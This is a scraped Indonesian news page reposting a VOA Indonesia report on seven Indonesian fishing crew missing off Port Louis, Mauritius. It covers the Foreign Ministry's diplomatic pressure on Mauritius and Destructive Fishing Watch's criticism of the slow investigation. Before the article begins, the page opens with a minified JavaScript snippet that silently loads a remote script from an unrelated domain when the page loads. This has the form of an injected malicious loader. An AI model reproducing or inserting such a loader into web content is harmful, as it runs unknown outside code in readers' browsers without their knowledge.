(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
VOA Indonesia

7 ABK Hilang, Kemenlu Desak Pemerintah Mauritius Percepat Penyelidikan


KANALKALIMANTAN.COM – Kementerian Luar Negeri Indonesia (Kemenlu) mendesak pemerintah Mauritius untuk mempercepat proses penyelidikan dan penegakan hukum terkait kasus tujuh ABK asal Indonesia yang hilang di Perairan Port Louis, Mauritius, Afrika Timur.

Sedikitnya tujuh anak buah kapal (ABK) asal Indonesia hilang di perairan Port Louis, Mauritius, Afrika Timur sejak Februari 2021 lalu. Mereka diketahui bekerja di dua kapal berbendera di Taiwan, yaitu enam orang di kapal Wei Fa dan satu lagi bekerja di kapal Dehai 16. Direktur Perlindungan Warga Negara Indonesia dan Badan Hukum Indonesia Kementerian Luar Negeri Judha Nugraha menjelaskan hal ini dalam jumpa pers mingguan hari Kamis (10/2).

“Berdasarkan keterangan saksi mata, pada 26 Februari 2021 malam, kapal Wei Fa meninggalkan dermaga bersama enam ABK asal Indonesia dan satu ABK kapal Dehai berangkat menuju ke laut dan kemudian dinyatakan hilang,” kata Judha.

Helikopter menjatuhkan kontainer berisi peralatan pompa minyak ke dek FV Lu Rong Yuan Yu, kapal penangkap ikan berbendera China yang kandas, di Pointe-aux Sables, Port-Louis, Mauritius, Selasa 9 Maret 2021. (Beekash Roopun/L’express Maurice via AP/ilustrasi)

 

 

Baca juga: Ini Capaian Vaksinasi di Banjarbaru, Lansia Masih Terendah

Kemudian pada 2 Maret, lanjut Judha, aparat keamanan Mauritius dapat menarik kembali kapal Wei Fa ke Pelabuahn Port Louis, namun tujuh ABK asal Indonesia tidak ditemukan. Aparat keamanan setempat kemudian menyelidiki semua awak kapal Wei Fa dan menemukan indikasi terjadi tindakan kriminal. Proses pencarian di laut dilakukan tapi ketujuh ABK ini masih belum dapat ditemukan.

Lalu pada September 2021, kepolisian Mauritius melansir keterangan resmi yang menyatakan tujuh ABK dari Indonesia tersebut hilang.

Judha menekankan Kementerian Luar Negeri dan Kedutaan Besar Republik Indonesia (KBRI) di Ibu Kota Antanarivo, Madagaskar, telah melakukan beragam cara dan komunikasi intensif dengan pihak-pihak berwenang di Mauritius. Kementerian Luar Negeri juga sudah melayangkan tujuh nota diplomatik ke Kementerian Luar Negeri Mauritius untuk mendorong proses penyelidikan dan mendapat kejelasan akan nasib ABK Indonesia itu.

Menurutnya, Duta Besar Indonesia untuk Madagaskar Heru Wicaksono pada 25 Januari lalu telah menyurati Menteri Luar Negeri Mauritius Alan Ganoo. Isinya meminta proses penyelidikan dan mendorong proses penegak hukum jika terbukti ada tindakan kriminal.

Baca juga: Beroperasi Tanpa Izin, Tiga Toko Modern Ditutup Pemkab Tanbu

Kementerian Luar Negeri juga telah berkoordinasi dengan Kantor Dagang Indonesia di Ibu Kota Taipei, Taiwan, karena kedua kapal ikan tersebut berasal dari negara itu agar hak-hak ketujuh ABK Indonesia yang belum diketahui nasibnya ini dipenuhi. Sejauh ini keluarga ABK itu sudah mendapat hak asuransi mereka.

Judha menegaskan Kementerian Luar Negeri mendesak pemerintah Mauritius untuk mempercepat proses penyelidikan dan penegakan hukum untuk bisa memberikan kepastian terhadap nasib dan hak-hak ketujuh ABK yang masih dinyatakan hilang itu.

DFW Sayangkan Kelambatan Penyelidikan

Koordinator Destructive Fishing Watch (DFW) Indonesia Mohd Abdi Suhufan menduga ketujuh ABK Indonesia hilang dilaut itu karena tindakan kriminal. Hanya saja dia menyayangkan kenapa sudah setahun belum ada informasi akurat mengenai hal itu.

“Karena lima hari yang lalu, pihak keluarga korban dari NTT (Nusa tenggara Timur) masih mempertanyakan nasib anaknya yang belum jelas. Walaupun pihak Kemlu mengklaim sudah ada penyelesaian dari pihak agensi atau pihak kapal, ini belum selesai sepenuhnya dan masih menyisakan masalah,” ujar Abdi.

Mengingat belum ada informasi perusahaan mana yang memberangkatkan ketujuh ABK tersebut, Suhufan menyerukan Kementerian Koordinator Bidang Maritim untuk memanggil pihak-pihak yang selama ini bertanggung jawab terhadap perusahaan-perusahaan pengirim ABK keluar negeri.

Baca juga: Proyek Bendungan Bener, Penambangan Batu Andesit dan Perlawanan Keras dari Wadas

Menurut Abdi, pemberangkatan ABK untuk kapal ikan ada yang perlu izin dari Kementerian Perhubungan dan Kementerian Ketenagakerjaan. Dia berharap ketujuh ABK yang hilang itu bukan berangkat ke luar negeri tanpa izin.

Belajar dari berbagai kasus yang menimpa ABK bekerja di luar negeri, Abdi kembali mendesak pemerintah untuk memberlakukan izin satu pintu sehingga pemerintah memiliki satu data terpusat mengenai status hukum perusahaan pemberangkatan ABK, perusahaan juga menjadi jelas kemana harus mengurus izin dan calon ABK juga bisa memastikan untuk mengecek status perusahaan yang akan memberangkatakan mereka.

Hingga saat ini seruan DFW itu belum mendapat tanggapan pemerintah.(VOA/fw/em)

Editor : KK


Risa

Recent Posts

Izin Operasional Aeris Hotel Belum Ada, Disporabudpar Banjarbaru Dapati Tamu Nginap

Manajemen Aeris Hotel: Masih Promosi, Ini untuk Mengetahui Dimana Error-nya Layanan Kita Read More

1 jam ago

Jaya Dekati PAN, Upaya Mengulang Koalisi di Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Amanat Nasional (PAN) Kota Banjarbaru kedatangan Darmawan Jaya Setiawan, kader… Read More

11 jam ago

Lima Rumah Terbakar di Pekapuran Laut, Motor Matic Ikut Hangus

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Pekapuran B Laut, Kecamatan Banjarmasin Tengah, Kota Banjarmasin dibuat geger… Read More

12 jam ago

Naik Kano di Danau Seran Banjarbaru, Rekomendasi View Spot Foto Estetik

KANALKALIMANTAN.COM, BANJARBARU - Pencinta wisata alam wajib menjajal objek wisata satu ini, yaitu wahana kano… Read More

15 jam ago

Pasangan Calon Belum Pasti, Aditya: Titik Akhirnya SK Partai

KANALKALIMANTAN.COM, BANJARBARU – Aditya Mufti Ariffin menyerahkan formulir pendaftaran sebagai bakal calon (bacalon) Wali Kota… Read More

18 jam ago

Masruri Lepas 25 JCH Kabupaten Banjar yang Tergabung dalam Kloter 10

KANALKALIMANTAN.COM, MARTAPURA - Mewakili Bupati Banjar H Saidi Mansyur, Asisten Pemerintahan dan Kesra H Masruri… Read More

18 jam ago

This website uses cookies.